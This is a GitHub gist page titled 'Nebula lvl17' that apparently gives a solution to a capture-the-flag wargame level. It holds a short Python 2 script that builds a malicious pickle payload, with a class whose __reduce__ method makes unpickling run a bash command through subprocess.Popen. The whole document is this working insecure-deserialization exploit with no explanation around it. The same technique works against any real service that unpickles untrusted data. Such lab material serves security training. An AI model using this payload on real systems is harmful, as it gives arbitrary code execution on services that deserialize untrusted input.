Skip to content

Instantly share code, notes, and snippets.

@debuti
Created December 30, 2017 23:28
Show Gist options
  • Save debuti/fe80ec21375349e560f0d56bdd6bfc23 to your computer and use it in GitHub Desktop.
Save debuti/fe80ec21375349e560f0d56bdd6bfc23 to your computer and use it in GitHub Desktop.
Nebula lvl17
import cPickle
import subprocess
class Exploit(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/bash','-c','getflag>/tmp/flag'), 0 ,None))
print cPickle.dumps(Exploit())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment